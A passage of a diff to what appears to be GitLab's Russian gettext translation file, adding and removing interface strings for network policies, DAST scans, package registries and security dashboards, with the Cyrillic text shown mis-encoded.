+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -16054,6 +16548,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -16066,6 +16563,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -16084,12 +16584,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -16114,9 +16620,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -16129,9 +16641,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr "Ðикогда"
@@ -16526,12 +17083,18 @@ msgstr "Ðет репозиториÑ"
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr "Ðет раÑпиÑаний"
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16619,18 +17182,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr "ÐÐµÐºÐ¾Ð½Ñ„Ð¸Ð´ÐµÐ½Ñ†Ð¸Ð°Ð»ÑŒÐ½Ð°Ñ Ñ†ÐµÐ»ÑŒ не может быть назначена к конфиденциальной родительÑкой цели"
-
msgid "Note"
msgstr "Заметка"
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16778,9 +17335,6 @@ msgstr "ÐоÑбрь"
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr "Теперь вы можете получить доÑтуп к вкладкам запроÑа на ÑлиÑние вверху, где их проще найти."
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16820,9 +17374,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr "ОК"
@@ -16865,21 +17416,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16889,25 +17446,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16968,9 +17531,6 @@ msgstr "Только учаÑтники проекта"
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr "Только админиÑтраторы"
-
msgid "Only admins can delete project"
msgstr ""
@@ -16989,6 +17549,9 @@ msgstr "Только учаÑтники проекта могут оÑтавлÑ
msgid "Only project members will be imported. Group members will be skipped."
msgstr "Будут импортированы только учаÑтники проекта. УчаÑтники группы будут пропущены."
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -17004,9 +17567,15 @@ msgstr "Открыть"
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -17127,18 +17696,12 @@ msgstr "Ðе определена политиками проекта и долÐ
msgid "Outbound requests"
msgstr "ИÑходÑщие запроÑÑ‹"
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -17172,9 +17735,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17259,6 +17819,12 @@ msgstr "Копировать команду npm"
msgid "PackageRegistry|Copy npm setup command"
msgstr "Копировать команду наÑтройки npm"
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
+msgid "PackageRegistry|Copy require package include"
+msgstr ""
+
msgid "PackageRegistry|Copy yarn command"
msgstr "Копировать команду yarn"
@@ -17274,6 +17840,9 @@ msgstr "Удалить пакет"
msgid "PackageRegistry|Filter by name"
msgstr "Фильтровать по имени"
+msgid "PackageRegistry|For more information on Composer packages in GitLab, %{linkStart}see the documentation.%{linkEnd}"
+msgstr ""
+
msgid "PackageRegistry|For more information on the Conan registry, %{linkStart}see the documentation%{linkEnd}."
msgstr "Чтобы узнать больше о рееÑтре Conan, %{linkStart}Ñмотрите документацию%{linkEnd}."
@@ -17292,9 +17861,6 @@ msgstr "ЕÑли вы еще не Ñделали Ñтого, вам нужно Ð
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}pom.xml%{codeEnd} file."
msgstr ""
-msgid "PackageRegistry|Installation"
-msgstr "УÑтановка"
-
msgid "PackageRegistry|Is your favorite package manager missing? We'd love your help in building first-class support for it into GitLab! %{contributionLinkStart}Visit the contribution documentation%{contributionLinkEnd} to learn more about how to build support for new package managers into GitLab. Below is a list of package managers that are on our radar."
msgstr ""
@@ -17331,27 +17897,18 @@ msgstr "Команда NuGet"
msgid "PackageRegistry|Pip Command"
msgstr "Команда pip"
-msgid "PackageRegistry|Pipeline %{linkStart}%{linkEnd} triggered %{timestamp} by %{author}"
-msgstr "Ð¡Ð±Ð¾Ñ€Ð¾Ñ‡Ð½Ð°Ñ Ð»Ð¸Ð½Ð¸Ñ %{linkStart}%{linkEnd}, Ð²Ñ‹Ð·Ð²Ð°Ð½Ð½Ð°Ñ %{author} %{timestamp}"
-
msgid "PackageRegistry|Pipeline %{link} triggered %{datetime} by %{author}"
msgstr ""
msgid "PackageRegistry|Published to the %{project} Package Registry %{datetime}"
msgstr ""
-msgid "PackageRegistry|Published to the repository at %{timestamp}"
-msgstr "Опубликовано в репозиторий %{timestamp}"
-
msgid "PackageRegistry|PyPi"
msgstr "PyPi"
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
-msgid "PackageRegistry|Registry Setup"
-msgstr "ÐаÑтройка рееÑтра"
-
msgid "PackageRegistry|Remove package"
msgstr "Удалить пакет"
@@ -17400,14 +17957,20 @@ msgstr ""
msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr "Вам также может понадобитьÑÑ Ð½Ð°Ñтроить аутентификацию Ñ Ð¸Ñпользованием токена. %{linkStart}Смотрите документацию%{linkEnd}, чтобы узнать больше."
-msgid "PackageRegistry|npm"
-msgstr "npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
+msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
-msgstr "yarn"
+msgid "PackageRegistry|yarn command"
+msgstr ""
msgid "PackageType|Composer"
msgstr ""
@@ -17550,7 +18113,7 @@ msgstr "Подтверждение паролÑ"
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -18054,6 +18617,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -18207,15 +18773,15 @@ msgstr "Выберете между фикÑированным (макÑ. 1280px
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr "Выберите, какое Ñодержимое вы хотите видеть на Ñтранице обзора проекта."
+msgid "Preferences|Choose what content you want to see on your homepage."
+msgstr ""
+
msgid "Preferences|Customize integrations with third party services."
msgstr "ÐаÑтройте интеграцию Ñо Ñторонними ÑервиÑами."
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr "ÐаÑтройте внешний вид верхней и боковой панели навигации."
-msgid "Preferences|Default dashboard"
-msgstr "Страница по умолчанию"
-
msgid "Preferences|Display time in 24-hour format"
msgstr "Отображать Ð²Ñ€ÐµÐ¼Ñ Ð² 24-чаÑовом формате"
@@ -18225,6 +18791,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr "Ðапример, 30 минут назад."
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18516,15 +19085,9 @@ msgstr "Текущий ÑтатуÑ"
msgid "Profiles|Default notification email"
msgstr "Ð­Ð»ÐµÐºÑ‚Ñ€Ð¾Ð½Ð½Ð°Ñ Ð¿Ð¾Ñ‡Ñ‚Ð° Ð´Ð»Ñ ÑƒÐ²ÐµÐ´Ð¾Ð¼Ð»ÐµÐ½Ð¸Ð¹ по умолчанию"
-msgid "Profiles|Delete Account"
-msgstr "Удалить Учетную запиÑÑŒ"
-
msgid "Profiles|Delete account"
msgstr "Удалить учетную запиÑÑŒ"
-msgid "Profiles|Delete your account?"
-msgstr "Удалить Ñвою учетную запиÑÑŒ?"
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr "Удаление учетной запиÑи приведет к Ñледующим поÑледÑтвиÑм:"
@@ -18915,6 +19478,9 @@ msgstr "Загрузки проекта"
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr "При перемещении в группу уровень доÑтупа проекта будет изменен в ÑоответÑтвии Ñ Ð¿Ñ€Ð°Ð²Ð¸Ð»Ð°Ð¼Ð¸ Ñтой группы."
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr "Проект: %{name}"
@@ -18939,6 +19505,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr "Ðаименование"
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr "Ðикогда"
@@ -19530,7 +20099,7 @@ msgstr "ГорÑщее: %{alert}"
msgid "PrometheusAlerts|Operator"
msgstr "Оператор"
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19539,12 +20108,21 @@ msgstr "Выберите запроÑ"
msgid "PrometheusAlerts|Threshold"
msgstr "Порог ÑрабатываниÑ"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
+msgstr ""
+
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr "Были найдены %{exporters} Ñ %{metrics}"
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
-msgstr "<p class=\"text-tertiary\">Ðи одной <a href=\"%{docsUrl}\">общей метрики</a> не найдено</p>"
-
msgid "PrometheusService|Active"
msgstr ""
@@ -19602,6 +20180,9 @@ msgstr "Ð”Ð¾Ð¿Ð¾Ð»Ð½Ð¸Ñ‚ÐµÐ»ÑŒÐ½Ð°Ñ Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ"
msgid "PrometheusService|New metric"
msgstr "ÐÐ¾Ð²Ð°Ñ Ð¼ÐµÑ‚Ñ€Ð¸ÐºÐ°"
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr "Ðе Ñоздано ни одной наÑтраиваемой метрики. Создайте её, иÑÐ¿Ð¾Ð»ÑŒÐ·ÑƒÑ ÐºÐ½Ð¾Ð¿ÐºÑƒ выше"
@@ -19656,6 +20237,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19737,6 +20321,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr "Предлагать пользователÑм загружать ключи SSH"
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -20067,9 +20654,6 @@ msgstr "ÐÐ¾Ð²Ð°Ñ Ñлужба поиÑка недоÑтупна"
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -20167,6 +20751,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20261,6 +20848,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20303,6 +20893,9 @@ msgstr "Удалить вÑех ответÑтвенных или одного Ð
msgid "Remove all or specific label(s)"
msgstr "Удалить вÑе или конкретные метки(и)"
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr "Удалить утверждающих"
@@ -20372,9 +20965,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr "Удалить проект"
-
msgid "Remove secondary node"
msgstr ""
@@ -20408,9 +20998,6 @@ msgstr "Удалён Ñтап %{milestone_reference}."
msgid "Removed %{type} with id %{id}"
msgstr "Удалено %{type} Ñ Ð¸Ð´ÐµÐ½Ñ‚Ð¸Ñ„Ð¸ÐºÐ°Ñ‚Ð¾Ñ€Ð¾Ð¼ %{id}"
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr "Ð’Ñе метки удалены."
@@ -20423,12 +21010,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr "Удалена родительÑÐºÐ°Ñ Ñ†ÐµÐ»ÑŒ %{epic_ref}."
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr "Удаленные проекты не могут быть воÑÑтановлены!"
-
msgid "Removed spent time."
msgstr ""
@@ -20477,15 +21058,9 @@ msgstr "УдалÑет дату завершениÑ."
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr "Удаление лицензии…"
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr "Удаление проекта удалит его репозиторий и вÑе ÑвÑзанные реÑурÑÑ‹, Ð²ÐºÐ»ÑŽÑ‡Ð°Ñ Ð¾Ð±ÑуждениÑ, запроÑÑ‹ на ÑлиÑние и Ñ‚. д."
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr "Удаление Ñтой группы также приведет к удалению вÑех дочерних проектов, Ð²ÐºÐ»ÑŽÑ‡Ð°Ñ Ð°Ñ€Ñ…Ð¸Ð²Ð½Ñ‹Ðµ, а также их реÑурÑов."
@@ -20670,9 +21245,6 @@ msgstr "Граф репозиториÑ"
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20864,9 +21436,15 @@ msgstr "Разрешить"
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -21048,6 +21626,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -21060,6 +21641,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr "ЗапуÑтить очиÑтку"
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr "ЗапуÑкайте теÑÑ‚Ñ‹ Ð´Ð»Ñ Ñвоего кода в реальном времени Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ веб-терминала"
@@ -21186,6 +21770,9 @@ msgstr "Сохранить"
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr "Сохранить в любом Ñлучае"
@@ -21216,6 +21803,9 @@ msgstr ""
msgid "Save variables"
msgstr "Сохранить переменные"
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21264,6 +21854,9 @@ msgstr "ДоÑтуп"
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr "Прокрутить вниз"
@@ -21306,6 +21899,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr "Ðайти ветки и теги"
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21523,6 +22119,9 @@ msgstr "МеÑÑ‚ в лицензии"
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21550,13 +22149,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr "Отчет о безопаÑноÑти уÑтарел. ЗапуÑтите %{newPipelineLinkStart}новую Ñборочную линию%{newPipelineLinkEnd} в целевой ветке (%{targetBranchName})"
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21577,6 +22200,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21604,7 +22230,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21640,13 +22266,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr "Теперь ÐºÐ°Ð¶Ð´Ð°Ñ ÑƒÑзвимоÑÑ‚ÑŒ получила уникальную Ñтраницу, на которую можно ÑÑылатьÑÑ Ð½Ð°Ð¿Ñ€Ñмую, делитьÑÑ ÐµÑŽ, и отÑлеживать её как единый иÑточник иÑтины. Случаи Ð²Ð¾Ð·Ð½Ð¸ÐºÐ½Ð¾Ð²ÐµÐ½Ð¸Ñ ÑƒÑзвимоÑти также ÑохранÑÑŽÑ‚ÑÑ Ð¼ÐµÐ¶Ð´Ñƒ запуÑками Ñканера, что делает их отÑлеживание более ÑÑным, а также уменьшает количеÑтво дублирующих запиÑей от повторных Ñканирований."
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21661,19 +22284,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21685,6 +22302,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21703,13 +22323,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21781,7 +22401,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21790,6 +22410,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21820,9 +22443,6 @@ msgstr "ПоÑмотреть затрагиваемые проекты в пан
msgid "See what's new at GitLab"
msgstr "ПоÑмотрите, что нового в Gitlab"
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21946,6 +22566,9 @@ msgstr "Выберите необходимый регулÑторный ÑтаÐ
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21976,6 +22599,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr "Выбрать пользователÑ"
@@ -22165,6 +22791,12 @@ msgstr "Служба поддержки"
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr "Шаблоны Служб"
@@ -22177,6 +22809,12 @@ msgstr "ПродолжительноÑÑ‚ÑŒ ÑеÑÑии (в минутах)"
msgid "Set %{epic_ref} as the parent epic."
msgstr "УÑтановить %{epic_ref} в качеÑтве родительÑкой цели."
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr "УÑтановите шаблон по умолчанию Ð´Ð»Ñ Ð¾Ð¿Ð¸Ñаний обÑуждений."
@@ -22497,12 +23135,6 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr "Показано %{pageSize} из %{total} задач"
-msgid "Showing Latest Version"
-msgstr ""
-
-msgid "Showing Version #%{versionNumber}"
-msgstr ""
-
msgid "Showing all issues"
msgstr "Показаны вÑе обÑуждениÑ"
@@ -22512,6 +23144,12 @@ msgstr ""
